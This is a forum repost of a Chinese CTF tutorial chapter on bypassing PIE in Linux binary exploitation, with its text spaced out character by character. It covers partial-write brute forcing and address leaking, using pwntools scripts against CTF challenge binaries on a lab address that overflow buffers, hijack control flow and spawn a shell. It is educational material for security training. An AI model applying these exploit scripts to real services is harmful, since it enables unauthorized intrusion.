搜索

[19517] 2019-08-13_CTF必备技能丨LinuxPwn入门教程——PIE与bypass思路

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-18
2019-08-13_CTF必备技能丨LinuxPwn入门教程——PIE与bypass思路 C T F 必 备 技 能 丨 L i n u x   P w n 入 门 教 程 — — P I E 与 b y p a s s 思 路 i 春 秋   2 0 1 9 - 0 8 - 1 3 L i n u x   P w n 入 门 教 程 系 列 分 享 如 约 而 至 ， 本 套 课 程 是 作 者 依 据 i 春 秋 P w n 入 门 课 程 中 的 技 术 分 类 ， 并 结 合 近 几 年 赛 事 中 出 现 的 题 目 和 文 章 整 理 出 一 份 相 对 完 整 的 L i n u x   P w n 教 程 。 教 程 仅 针 对 i 3 8 6 / a m d 6 4 下 的 L i n u x   P w n 常 见 的 P w n 手 法 ， 如 栈 ， 堆 ， 整 数 溢 出 ， 格 式 化 字 符 串 ， 条 件 竞 争 等 进 行 介 绍 ， 所 有 环 境 都 会 封 装 在 D o c k e r 镜 像 当 中 ， 并 提 供 调 试 用 的 教 学 程 序 ， 来 自 历 年 赛 事 的 原 题 和 带 有 注 释 的 p y t h o n 脚 本 。 今 天 i 春 秋 与 大 家 分 享 的 是 L i n u x   P w n 入 门 教 程 第 八 章 ： P I E 与 b y p a s s 思 路 ， 阅 读 用 时 约 2 0 分 钟 。 0 1 P I E 简 介 简 介 在 之 前 的 文 章 中 我 们 提 到 过 A S L R 这 一 防 护 技 术 。 由 于 受 到 堆 栈 和 l i b c 地 址 可 预 测 的 困 扰 ， A S L R 被 设 计 出 来 并 得 到 广 泛 应 用 。 因 为 A S L R 技 术 的 出 现 ， 攻 击 者 在 R O P 或 者 向 进 程 中 写 数 据 时 不 得 不 先 进 行 l e a k ， 或 者 干 脆 放 弃 堆 栈 ， 转 向 b s s 或 者 其 他 地 址 固 定 的 内 存 块 。 而 P I E ( p o s i t i o n - i n d e p e n d e n t   e x e c u t a b l e ,   地 址 无 关 可 执 行 文 件 ) 技 术 就 是 一 个 针 对 代 码 段 . t e x t ,   数 据 段 . * d a t a ， . b s s 等 固 定 地 址 的 一 个 防 护 技 术 。 同 A S L R 一 样 ， 应 用 了 P I E 的 程 序 会 在 每 次 加 载 时 都 变 换 加 载 基 址 ， 从 而 使 位 于 程 序 本 身 的 g a d g e t 也 失 效 。
没 有 P I E 保 护 的 程 序 ， 每 次 加 载 的 基 址 都 是 固 定 的 ， 6 4 位 上 一 般 是 0 x 4 0 0 0 0 0 。 使 用 P I E 保 护 的 程 序 ， 可 以 看 到 两 次 加 载 的 基 址 是 不 一 样 的 。 显 然 ， P I E 的 应 用 给 R O P 技 术 造 成 了 很 大 的 影 响 。 但 是 由 于 某 些 系 统 和 缺 陷 ， 其 他 漏 洞 的 存 在 和 地 址 随 机 化 本 身 的 问 题 ， 我 们 仍 然 有 一 些 可 以 b y p a s s   P I E 的 手 段 。 下 面 我 们 介 绍 三 种 比 较 常 见 的 手 法 。 0 2 p a r t i a l   w r i t e   b y p a s s P I E p a r t i a l   w r i t e ( 部 分 写 入 ) 就 是 一 种 利 用 了 P I E 技 术 缺 陷 的 b y p a s s 技 术 。 由 于 内 存 的 页 载 入 机 制 ， P I E 的 随 机 化 只 能 影 响 到 单 个 内
存 页 。 通 常 来 说 ， 一 个 内 存 页 大 小 为 0 x 1 0 0 0 ， 这 就 意 味 着 不 管 地 址 怎 么 变 ， 某 条 指 令 的 后 1 2 位 ， 3 个 十 六 进 制 数 的 地 址 是 始 终 不 变 的 。 因 此 通 过 覆 盖 E I P 的 后 8 或 1 6 位   ( 按 字 节 写 入 ， 每 字 节 8 位 ) 就 可 以 快 速 爆 破 或 者 直 接 劫 持 E I P 。 我 们 打 开 例 子 ~ / D e f C a m p   C T F   F i n a l s   2 0 1 6 - S M S / S M S ， 这 是 一 个 6 4 位 程 序 ， 主 要 的 功 能 函 数 d o s m s (   ) 调 用 了 存 在 漏 洞 的 s e t _ u s e r 和 s e t _ s m s 。 s e t _ u s e r 可 以 读 取 1 2 8 字 符 的 u s e r n a m e ， 从 s e t _ s m s 中 对 s t r n c p y 的 调 用 可 以 看 出 长 度 保 存 在 a 1 + 1 8 0 ， u s e r n a m e 首 地 址 在 a 1 + 1 4 0 ， 可 以 通 过 溢 出 修 改 s t r n c p y 长 度 造 成 溢 出 。 除 此 之 外 ， 程 序 还 有 一 个 后 门 函 数 f r o n t d o o r 。 这 个 程 序 使 用 了 P I E 作 为 保 护 ， 我 们 不 能 确 定 f r o n t d o o r 的 具 体 地 址 ， 因 此 没 办 法 直 接 通 过 溢 出 来 跳 转 到 f r o n t d o o r (   ) 。 但 是 由 于 我 们 前 面 所 述 的 原 因 ， 我 们 可 以 尝 试 爆 破 。
通 过 查 看 f r o n t d o o r 的 汇 编 代 码 我 们 知 道 其 地 址 后 三 位 是 0 x 9 0 0 。 但 是 由 于 我 们 的 p a y l o a d 必 须 按 字 节 写 入 ， 每 个 字 节 是 两 个 十 六 进 制 数 ， 所 以 我 们 必 须 输 入 两 个 字 节 。 除 去 已 知 的 0 x 9 0 0 还 需 要 爆 破 一 个 十 六 进 制 数 。 这 个 数 只 可 能 在 0 ~ 0 x f 之 间 改 变 ， 因 此 爆 破 空 间 不 大 ， 可 以 接 受 。 在 前 面 几 篇 文 章 的 训 练 之 后 ， 我 们 很 容 易 通 过 调 试 获 取 溢 出 所 需 的 p a d d i n g 并 且 写 出 p a y l o a d 如 下 ： 我 们 看 到 注 释 里 用 的 不 是 0 x 9 0 0 而 是 0 x 9 0 1 ， 这 是 因 为 在 实 际 调 试 中 发 现 跳 转 到 f r o n t d o o r 时 会 出 错 。 为 了 验 证 p a y l o a d 的 正 确 性 ， 我 们 可 以 在 调 试 时 通 过 I D A 修 改 内 存 地 址 修 正 爆 破 位 的 值 ， 此 处 从 略 。 验 证 完 p a y l o a d 的 正 确 性 之 后 ， 我 们 还 必 须 面 临 一 个 问 题 ， 那 就 是 如 何 自 动 化 进 行 爆 破 。 我 们 触 发 一 个 错 误 的 结 果 ： p a y l o a d   =   ' a ' * 4 0                                                                                 # p a d d i n g p a y l o a d   + =   ' x c a '                                                                                 # 修 改 长 度 为 2 0 2 ， 即 p a y l o a d 的 长 度 ， 这 个 参 数 会 在 其 后 的 s t r n c p y 被 使 用 i o . s e n d l i n e ( p a y l o a d ) i o . r e c v ( ) p a y l o a d   =   ' a ' * 2 0 0                                                                                 # p a d d i n g p a y l o a d   + =   ' x 0 1 x a 9 '                                                                 # f r o n t d o o r 的 地 址 后 三 位 是 0 x 9 0 0 ,   + 1 跳 过 p u s h   r b p i o . s e n d l i n e ( p a y l o a d )
我 们 知 道 爆 破 失 败 的 话 程 序 就 会 崩 溃 ， 此 时 i o 的 连 接 会 关 闭 ， 因 此 调 用 i o . r e c v (   ) 会 触 发 一 个 E O F E r r o r 。 由 于 这 个 特 性 ， 我 们 可 以 使 用 p y t h o n 的 t r y . . . e x c e p t . . . 来 捕 获 这 个 错 误 并 进 行 处 理 。 最 终 脚 本 如 下 ：
0 3 泄 露 地 址 泄 露 地 址 b y p a s s P I E P I E 影 响 的 只 是 程 序 加 载 基 址 ， 并 不 会 影 响 指 令 间 的 相 对 地 址 ， 因 此 我 们 如 果 能 泄 露 出 程 序 或 l i b c 的 某 些 地 址 ， 我 们 就 可 以 # ! / u s r / b i n / p y t h o n # c o d i n g : u t f - 8 f r o m   p w n   i m p o r t   * c o n t e x t . u p d a t e ( a r c h   =   ' a m d 6 4 ' ,   o s   =   ' l i n u x ' ) i   =   0 w h i l e   T r u e :                 i   + =   1                 p r i n t   i                 i o   =   r e m o t e ( " 1 7 2 . 1 7 . 0 . 3 " ,   1 0 0 0 1 )                                 i o . r e c v ( )                 p a y l o a d   =   ' a ' * 4 0                                                                                 # p a d d i n g                 p a y l o a d   + =   ' x c a '                                                                                 # 修 改 长 度 为 2 0 2 ， 即 p a y l o a d 的 长 度 ， 这 个 参 数 会 在 其 后 的 s t r n c p y 被 使 用                 i o . s e n d l i n e ( p a y l o a d )                 i o . r e c v ( )                 p a y l o a d   =   ' a ' * 2 0 0                                                                                 # p a d d i n g                 p a y l o a d   + =   ' x 0 1 x a 9 '                                                                 # f r o n t d o o r 的 地 址 后 三 位 是 0 x 9 0 0 ,   + 1 跳 过 p u s h   r b p                 i o . s e n d l i n e ( p a y l o a d )                 i o . r e c v ( )                 t r y :                                 i o . r e c v ( t i m e o u t   =   1 )                                                 # 要 么 崩 溃 要 么 爆 破 成 功 ， 若 崩 溃 i o 会 关 闭 ， i o . r e c v ( ) 会 触 发 E O F E r r o r                 e x c e p t   E O F E r r o r :                                 i o . c l o s e ( )                                 c o n t i n u e                 e l s e :                                 s l e e p ( 0 . 1 )                                 i o . s e n d l i n e ( ' / b i n / s h x 0 0 ' )                                 s l e e p ( 0 . 1 )                                                                                                                                 i o . i n t e r a c t i v e ( )                                                                 # 没 有 E O F E r r o r 的 话 就 是 爆 破 成 功 ， 可 以 开 s h e l l                                 b r e a k
利 用 偏 移 来 达 到 目 的 。 打 开 例 子 ~ / B C T F   2 0 1 7 - 1 0 0 l e v e l s / 1 0 0 l e v e l s ， 这 是 个 6 4 位 的 答 题 程 序 ， 要 求 输 入 两 个 数 字 ， 相 加 得 到 关 卡 总 数 ， 然 后 计 算 乘 法 。 本 题 的 栈 溢 出 漏 洞 位 于 0 x e 4 3 的 q u e s t i o n 函 数 中 。 r e a d 会 读 入 0 x 4 0 0 个 字 符 到 栈 上 ， 而 对 应 的 局 部 变 量 b u f 显 然 没 那 么 大 ， 因 此 会 造 成 栈 溢 出 。 由 于 使 用 了 P I E ， 而 且 题 目 中 虽 然 有 s y s t e m 但 是 没 有 后 门 ， 所 以 本 题 没 办 法 使 用 p a r t i a l   w r i t e 劫 持 R I P 。 但 是 我 们 在 进 行 调 试 时 发 现 了 栈 上 有 一 些 有 趣 的 数 据 ： 我 们 可 以 看 到 栈 上 有 大 量 指 向 l i b c 的 地 址 。
那 么 这 些 地 址 我 们 要 怎 么 l e a k 出 来 呢 ， 我 们 继 续 看 q u e s t i o n s 这 个 函 数 ， 又 看 到 了 一 个 有 趣 的 东 西 。 这 边 的 p r i n t f 输 出 的 参 数 位 于 栈 上 ， 通 过 r b p 定 位 。 利 用 这 两 个 信 息 ， 我 们 很 容 易 想 到 可 以 通 过 p a r t i a l   o v e r w r i t e 修 改 R B P 的 值 指 向 这 块 内 存 ， 从 而 泄 露 出 这 些 地 址 ， 利 用 这 些 地 址 和 l i b c 就 可 以 计 算 到 o n e   g a d g e t   R C E 的 地 址 从 而 栈 溢 出 调 用 。 我 们 使 用 以 下 脚 本 把 R B P 的 最 后 两 个 十 六 进 制 数 改 成 0 x 5 c ， 此 时 [ r b p + v a r _ 3 4 ]   =   0 x 5 c - 0 x 3 4 = 0 x 2 8 ， 泄 露 位 于 这 个 位 置 的 地 址 。 通 过 多 次 进 行 实 验 ， 我 们 发 现 这 段 脚 本 的 成 功 率 有 限 ， 有 时 候 能 泄 露 出 l i b c 中 的 地 址   。 i o   =   r e m o t e ( ' 1 7 2 . 1 7 . 0 . 3 ' ,   1 0 0 0 1 ) i o . r e c v u n t i l ( " C h o i c e : " ) i o . s e n d ( ' 1 ' ) i o . r e c v u n t i l ( ' ? ' ) i o . s e n d ( ' 2 ' ) i o . r e c v u n t i l ( ' ? ' ) i o . s e n d ( ' 0 ' ) i o . r e c v u n t i l ( " Q u e s t i o n :   " ) q u e s t i o n   =   i o . r e c v u n t i l ( " = " ) [ : - 1 ] a n s w e r   =   s t r ( e v a l ( q u e s t i o n ) ) p a y l o a d   =   a n s w e r . l j u s t ( 0 x 3 0 ,   ' x 0 0 ' )   +   ' x 5 c ' i o . s e n d ( p a y l o a d ) i o . r e c v u n t i l ( " L e v e l   " ) a d d r _ l 8   =   i n t ( i o . r e c v u n t i l ( " Q u e s t i o n :   " ) [ : - 1 0 ] )
有 时 候 是 s t a r t 的 首 地 址 有 时 候 是 无 意 义 的 数 据
甚 至 会 直 接 出 错 原 因 是 [ r b p + v a r _ 3 4 ] 中 的 数 据 是 0 ， i d i v 除 法 指 令 产 生 了 除 零 错 误 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理